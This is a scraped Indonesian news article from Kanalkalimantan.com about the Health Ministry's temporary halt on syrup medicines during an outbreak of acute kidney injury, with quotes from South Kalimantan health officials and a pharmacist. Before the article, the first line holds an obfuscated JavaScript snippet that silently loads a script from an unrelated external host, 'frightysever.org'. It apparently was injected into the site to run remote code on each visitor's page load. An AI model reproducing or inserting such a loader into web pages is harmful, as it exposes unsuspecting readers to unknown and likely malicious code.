(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Buntut ditemukannya kasus gangguan ginjal akut misterius, Kementerian Kesehatan (Kemenkes) meminta masyarakat untuk menyetop sementara penggunaan obat cair atau sirup.
Hal itu menyusul ketetapan baru agar apotek maupun tenaga kesehatan di Indonesia tidak menjual atau meresepkan obat bebas dalam sirup kepada masyarakat buntut kasus gangguan ginjal akut misterius itu.
Kepala Dinas Kesehatan Kalimantan Selatan, dr Diauddin mengatakan, adanya temuan tersebut sehingga yang disangkakan campuran sirup tanpa terkecuali.
“Itu baru diduga, belum dipastikan itu penyebabnya, ini untuk kewasapadaan saja, sehingga Kemenkes memberi imbauan supaya fasilitas kesehatan dan doktor jangan dulu menggunakan sirup dalam resepnya,” katanya.
Baca juga : Stok Vaksin di Kalsel Kosong, Kadinkes: Banyak Habis Karena Expired
Dilanjutkannya, dengan adanya surat edaran tersebut juga mengimbau kepada apotek agar tidak menjual sementara obat yang berbentuk sirup.
“Ini tidak permanen, mudah-mudahan dalam waktu beberapa hari sudah ada kesimpulan penyebab pasti penyakit gagal ginjal akutnya,” jelasnya.
Lantas bagaimana di Kalsel, kata dr Dia, hingga saat ini dirinya memastikan tidak ada kasus seperti tersebut. Bahkan sudah dikonfirmasi kembali ke pemerintah pusat dan hingga saat ini pemerintah pusat tidak menyebut Kalsel sebagai salah satu penyumbang kasus tersebut.
“Kemarin sempat infonya ada di Kalsel, setelah dikonfirmasi ulang ke Ikatan Dokter Anak Kalimantan Selatan ternyata tidak ada,” tegasnya.
Sementara itu, asisten apoteker Al Azhar, Rizal mengatakan sudah mengetahui surat edaran tersebut, jika ada pelanggan yang ingin membeli sirup maka akan diarahkannya ke obat tablet.
Baca juga : Dinas PUPR Kalsel Lepas Kepulangan Kafilah DKI Jakarta
“Sudah kami ingatkan tapi banyak yang mencari obat sirup dengan kandungan Paracetamol. Namun, jika ada yang mencari obat sirup maka kami sarankan ke obat tablet,” ucapnya.
Rizal menambahkan, terkait stok obat sirup di apoteknya merupakan stok lama, lantaran stok yang baru masih ditahan oleh pihak pengiriman.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More
KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More
Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More
This website uses cookies.